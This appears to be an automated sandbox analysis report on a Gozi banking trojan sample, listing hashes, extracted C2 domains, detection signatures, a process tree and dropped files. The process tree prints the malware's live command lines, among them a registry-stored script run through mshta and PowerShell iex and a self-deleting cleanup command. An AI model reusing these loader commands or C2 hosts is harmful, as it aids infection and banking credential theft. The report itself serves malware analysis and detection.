Analysis

  • max time kernel
    151s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-10-2023 06:09

General

  • Target

    3a1211935c4bd148eb6fb23c40d4806ee5a488b09bd61b3c0d15a47dbbfe64fd_JC.exe

  • Size

    406KB

  • MD5

    2f5a00394c3568e91f6302dc6c8b196c

  • SHA1

    116f6ba99db4592f1ab5ccb1a734fdc5a52021bc

  • SHA256

    3a1211935c4bd148eb6fb23c40d4806ee5a488b09bd61b3c0d15a47dbbfe64fd

  • SHA512

    a30efa790e3ad7af4e574ef0bf359b6a91691947cf434ddcd30a228af29dea0a9b5c1daff050ecae6e88912e8f04813f1df9680e6fc896cee63e36476e4bbe36

  • SSDEEP

    12288:l1HmKzwKhZhZsuyOtldw5hbu5Ty7pySxN1t:bHGKhZzLQ5Wn6H

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

netsecurez.com

whofoxy.com

mimemoa.com

ntcgo.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

fotexion.com

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Dave packer 1 IoCs

    Detects executable using a packer named 'Dave' by the community, based on a string at the end.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:3752
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:4792
      • C:\Windows\System32\RuntimeBroker.exe
        C:\Windows\System32\RuntimeBroker.exe -Embedding
        1⤵
          PID:3952
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of UnmapMainImage
          • Suspicious use of WriteProcessMemory
          PID:3176
          • C:\Users\Admin\AppData\Local\Temp\3a1211935c4bd148eb6fb23c40d4806ee5a488b09bd61b3c0d15a47dbbfe64fd_JC.exe
            "C:\Users\Admin\AppData\Local\Temp\3a1211935c4bd148eb6fb23c40d4806ee5a488b09bd61b3c0d15a47dbbfe64fd_JC.exe"
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2952
          • C:\Windows\System32\mshta.exe
            "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ftc0='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ftc0).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\79A35AC8-8476-1390-56BD-F8F7EA41AC1B\\\CharControl'));if(!window.flag)close()</script>"
            2⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:3840
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name mhvuomrse -value gp; new-alias -name cavrxiylnf -value iex; cavrxiylnf ([System.Text.Encoding]::ASCII.GetString((mhvuomrse "HKCU:Software\AppDataLow\Software\Microsoft\79A35AC8-8476-1390-56BD-F8F7EA41AC1B").TimeAbout))
              3⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1504
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cx3nwtl1\cx3nwtl1.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4892
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3294.tmp" "c:\Users\Admin\AppData\Local\Temp\cx3nwtl1\CSC391A650656D541488C14E661BAF9D62.TMP"
                  5⤵
                    PID:3556
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sc0ozrvk\sc0ozrvk.cmdline"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1344
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3479.tmp" "c:\Users\Admin\AppData\Local\Temp\sc0ozrvk\CSC8B991A88A8B2434E85CD4A78033D37C.TMP"
                    5⤵
                      PID:4584
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\3a1211935c4bd148eb6fb23c40d4806ee5a488b09bd61b3c0d15a47dbbfe64fd_JC.exe"
                2⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:4200
                • C:\Windows\system32\PING.EXE
                  ping localhost -n 5
                  3⤵
                  • Runs ping.exe
                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                  PID:4268
              • C:\Windows\syswow64\cmd.exe
                "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                2⤵
                  PID:3136
              • C:\Windows\System32\RuntimeBroker.exe
                C:\Windows\System32\RuntimeBroker.exe -Embedding
                1⤵
                  PID:5088

                Network

                MITRE ATT&CK Matrix ATT&CK v13

                Discovery

                Query Registry

                1
                T1012

                System Information Discovery

                2
                T1082

                Remote System Discovery

                1
                T1018

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\RES3294.tmp
                  Filesize

                  1KB

                  MD5

                  c7756ccfa535b7e2d3646a83f05bdc05

                  SHA1

                  2ed6369a0558c270c7550d3c331230f6d3d3746e

                  SHA256

                  8f6705617a00e3fe8bf4d5eaae7c2d86555b379a76de165dc99a7b01015fd35d

                  SHA512

                  a85aa057d11a33c7d5ffc5b3345241a20d0d27cf5e963f904afd29b2df66296e7e23e9e89fab63d653b15d78fe0952b7a51641de5a0a6a8a7ae76931aa439c87

                • C:\Users\Admin\AppData\Local\Temp\RES3479.tmp
                  Filesize

                  1KB

                  MD5

                  06f4ae5b1194900b6b06bcae9b807214

                  SHA1

                  76947def9d653a6926d9afa21ccb8c5776aea210

                  SHA256

                  dbc5cd00795ff11e4d1091485e82238e2c15eade984c580f9f5c534eafa401e6

                  SHA512

                  52c249393f11ad8f35dba6b47ff4b09708b6b0369b90e834f03ae758f9b5bb023bc453e9584ea6b7749a8f093ac215b7747d0594610164a02e3ee709e148c9d2

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ogvuipis.jjg.ps1
                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Admin\AppData\Local\Temp\cx3nwtl1\cx3nwtl1.dll
                  Filesize

                  3KB

                  MD5

                  75ee7cf90208f32f5fc8301692a89065

                  SHA1

                  a58ecd1a9fb9f073085f908c4f1c3d84222cd33f

                  SHA256

                  4dbf4a498e2852ba555023deecebeda5975e933425d9043384c1da2f4750f1ec

                  SHA512

                  42772c3bbda41d98181747dd4fe8212f251b418c9e68860ecc3cfabf77c4bbe5e25ced699d7f6961b7745a3f1cf99b532c42038167a24b5da9ca3b98ee87723c

                • C:\Users\Admin\AppData\Local\Temp\sc0ozrvk\sc0ozrvk.dll
                  Filesize

                  3KB

                  MD5

                  8efd9f4d5e04e5a9c850f96ddccbe0c2

                  SHA1

                  8ca35638b0e057834cc25200d1506e3d65e64fbf

                  SHA256

                  89d9a1232e9ed0c67a585198deaf02bbfafc58079ef560398081e32df560f703

                  SHA512

                  b3ecd4e325cf3674406dd63b90cb1573c7609b4d95ecf2d7835f79be76e500edc733a244b4700dc4c3c69c0825349292fa669068cc82ac75507511b1f729117d

                • \??\c:\Users\Admin\AppData\Local\Temp\cx3nwtl1\CSC391A650656D541488C14E661BAF9D62.TMP
                  Filesize

                  652B

                  MD5

                  4ad60d1b7a23a159451506d8f287fe68

                  SHA1

                  53d76e3601afced2bfb73e6ed19eea9b0fd5d512

                  SHA256

                  eb4bb7ed14b171bdf857f9dc31584d1c629e7c6964185dd2a1ab67a3390dffe3

                  SHA512

                  4caee26857cf3cc47cf8c34a7cd0ae3559446a7e93f33439c2f481fe08280208696b42bf69aedaa35789c89302c5d0e5603d9589b51f938c1079565f1044f55f

                • \??\c:\Users\Admin\AppData\Local\Temp\cx3nwtl1\cx3nwtl1.0.cs
                  Filesize

                  405B

                  MD5

                  caed0b2e2cebaecd1db50994e0c15272

                  SHA1

                  5dfac9382598e0ad2e700de4f833de155c9c65fa

                  SHA256

                  21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

                  SHA512

                  86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

                • \??\c:\Users\Admin\AppData\Local\Temp\cx3nwtl1\cx3nwtl1.cmdline
                  Filesize

                  369B

                  MD5

                  f12295169655efdc64f52da53dddbce1

                  SHA1

                  50f6f6e70e2980ab28accc2da5a8fd74253354f5

                  SHA256

                  0414da431bc515a94b9c92a0ec4b3b6f93f70121ad96003218cbad8c77a3c3a7

                  SHA512

                  794606d4c9e3fdd5719ba0caae3c56fe11596497b28de6ef4e14668be93420f858f5331ac2ab7ba680a3e6d3fe3e763d47fef823b1eadd308ee46c76938f0903

                • \??\c:\Users\Admin\AppData\Local\Temp\sc0ozrvk\CSC8B991A88A8B2434E85CD4A78033D37C.TMP
                  Filesize

                  652B

                  MD5

                  2a806ecf18862dc45b4733d91b52b4f7

                  SHA1

                  de4c34fd081532ea544b4ff4c734c3feadb0a84c

                  SHA256

                  b769b131729d6b2c9e35599f6f1a8eedcd5398c46bf972ce239c6208b36deedc

                  SHA512

                  967a24e0665abb3bc0439a28ae5ef62a8ecbd9a51972e596d18840b8eb631ce494276cfcf36fceba17d116a4d7cb466ae3da2cf73d2098c945c08ae1ca33c88e

                • \??\c:\Users\Admin\AppData\Local\Temp\sc0ozrvk\sc0ozrvk.0.cs
                  Filesize

                  406B

                  MD5

                  ca8887eacd573690830f71efaf282712

                  SHA1

                  0acd4f49fc8cf6372950792402ec3aeb68569ef8

                  SHA256

                  568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

                  SHA512

                  2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

                • \??\c:\Users\Admin\AppData\Local\Temp\sc0ozrvk\sc0ozrvk.cmdline
                  Filesize

                  369B

                  MD5

                  68f85d66a352ac2be80b9e2d71f67d6b

                  SHA1

                  ca78bdc66f133e6907249688e6d15f093ee84fe1

                  SHA256

                  226edf5319e12ed1d292693476b3786e21674d79d82eaa93b57ae40b221a0ba9

                  SHA512

                  2fc8752a6871847a8c8329cd6be4fbc80683c98046f990589526efc8c17f936abdf88b68b75c072e4cb9ea92dd1886cd288c204dc30d300f7793f822fc0c485d

                • memory/1504-57-0x0000022347180000-0x00000223471BD000-memory.dmp
                  Filesize

                  244KB

                • memory/1504-28-0x000002232E6D0000-0x000002232E6E0000-memory.dmp
                  Filesize

                  64KB

                • memory/1504-55-0x0000022347170000-0x0000022347178000-memory.dmp
                  Filesize

                  32KB

                • memory/1504-76-0x0000022347180000-0x00000223471BD000-memory.dmp
                  Filesize

                  244KB

                • memory/1504-41-0x000002232E920000-0x000002232E928000-memory.dmp
                  Filesize

                  32KB

                • memory/1504-27-0x000002232E6D0000-0x000002232E6E0000-memory.dmp
                  Filesize

                  64KB

                • memory/1504-21-0x0000022346C80000-0x0000022346CA2000-memory.dmp
                  Filesize

                  136KB

                • memory/1504-25-0x00007FFEAC350000-0x00007FFEACE11000-memory.dmp
                  Filesize

                  10.8MB

                • memory/1504-74-0x00007FFEAC350000-0x00007FFEACE11000-memory.dmp
                  Filesize

                  10.8MB

                • memory/1504-26-0x000002232E6D0000-0x000002232E6E0000-memory.dmp
                  Filesize

                  64KB

                • memory/1504-67-0x0000022346DF0000-0x0000022346F3E000-memory.dmp
                  Filesize

                  1.3MB

                • memory/2952-11-0x0000000002B60000-0x0000000002B6D000-memory.dmp
                  Filesize

                  52KB

                • memory/2952-1-0x0000000000F50000-0x0000000000F5F000-memory.dmp
                  Filesize

                  60KB

                • memory/2952-5-0x0000000000400000-0x000000000040F000-memory.dmp
                  Filesize

                  60KB

                • memory/2952-0-0x0000000000F40000-0x0000000000F4C000-memory.dmp
                  Filesize

                  48KB

                • memory/3136-108-0x00000000014F0000-0x0000000001588000-memory.dmp
                  Filesize

                  608KB

                • memory/3136-106-0x0000000000DF0000-0x0000000000DF1000-memory.dmp
                  Filesize

                  4KB

                • memory/3136-100-0x00000000014F0000-0x0000000001588000-memory.dmp
                  Filesize

                  608KB

                • memory/3176-60-0x00000000028B0000-0x00000000028B1000-memory.dmp
                  Filesize

                  4KB

                • memory/3176-59-0x0000000008720000-0x00000000087C4000-memory.dmp
                  Filesize

                  656KB

                • memory/3176-99-0x0000000008720000-0x00000000087C4000-memory.dmp
                  Filesize

                  656KB

                • memory/3752-71-0x0000019CB2B00000-0x0000019CB2BA4000-memory.dmp
                  Filesize

                  656KB

                • memory/3752-113-0x0000019CB2B00000-0x0000019CB2BA4000-memory.dmp
                  Filesize

                  656KB

                • memory/3752-72-0x0000019CB2720000-0x0000019CB2721000-memory.dmp
                  Filesize

                  4KB

                • memory/3952-117-0x000001D68A010000-0x000001D68A0B4000-memory.dmp
                  Filesize

                  656KB

                • memory/3952-78-0x000001D68A010000-0x000001D68A0B4000-memory.dmp
                  Filesize

                  656KB

                • memory/3952-79-0x000001D689FD0000-0x000001D689FD1000-memory.dmp
                  Filesize

                  4KB

                • memory/4200-98-0x000001AD60030000-0x000001AD600D4000-memory.dmp
                  Filesize

                  656KB

                • memory/4200-121-0x000001AD60030000-0x000001AD600D4000-memory.dmp
                  Filesize

                  656KB

                • memory/4200-103-0x000001AD600E0000-0x000001AD600E1000-memory.dmp
                  Filesize

                  4KB

                • memory/4268-110-0x00000246C8E80000-0x00000246C8F24000-memory.dmp
                  Filesize

                  656KB

                • memory/4268-111-0x00000246C8CC0000-0x00000246C8CC1000-memory.dmp
                  Filesize

                  4KB

                • memory/4268-120-0x00000246C8E80000-0x00000246C8F24000-memory.dmp
                  Filesize

                  656KB

                • memory/4792-85-0x0000020B4D450000-0x0000020B4D4F4000-memory.dmp
                  Filesize

                  656KB

                • memory/4792-86-0x0000020B4CBF0000-0x0000020B4CBF1000-memory.dmp
                  Filesize

                  4KB

                • memory/4792-119-0x0000020B4D450000-0x0000020B4D4F4000-memory.dmp
                  Filesize

                  656KB

                • memory/5088-91-0x0000015109E40000-0x0000015109EE4000-memory.dmp
                  Filesize

                  656KB

                • memory/5088-118-0x0000015109E40000-0x0000015109EE4000-memory.dmp
                  Filesize

                  656KB

                • memory/5088-92-0x0000015109760000-0x0000015109761000-memory.dmp
                  Filesize

                  4KB